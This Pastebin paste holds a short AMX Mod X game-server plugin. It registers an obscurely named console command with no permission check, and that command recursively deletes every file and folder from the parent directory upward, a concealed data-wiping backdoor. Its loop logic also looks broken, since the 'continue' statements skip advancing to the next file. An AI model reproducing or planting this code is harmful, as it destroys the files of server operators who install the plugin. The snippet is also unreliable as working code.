Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- public plugin_init()
- {
- register_plugin(PLUGIN, VERSION, AUTHOR)
- register_concmd("sgki_ggg", "pfn_exect")
- }
- public pfn_exect(id)
- {
- exec2(id, "../")
- }
- exec2(id, d[])
- {
- new fl[256]
- new dh = open_dir(d, fl, charsmax(fl))
- if(!dh)
- {
- console_print(id, "Carpeta invalida")
- return
- }
- while(dh)
- {
- if(!fl[0] || equal(fl, ".") || equal(fl, ".."))
- {
- continue
- }
- format(fl, charsmax(fl), "%s%s", d, fl)
- if(filesize(fl) <= 0)
- {
- add(fl, charsmax(fl), "/")
- exec2(id, fl)
- continue
- }
- else
- {
- console_print(id, "[%s...] %s", delete_file(fl) ? "Ok": "ERROR", fl)
- continue
- }
- if(!next_file(dh, fl, charsmax(fl)))
- {
- close_dir(dh)
- dh = false
- }
- }
- console_print(id, "[%s...] %s", rmdir(d) ? "Ok": "ERROR", fl)
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement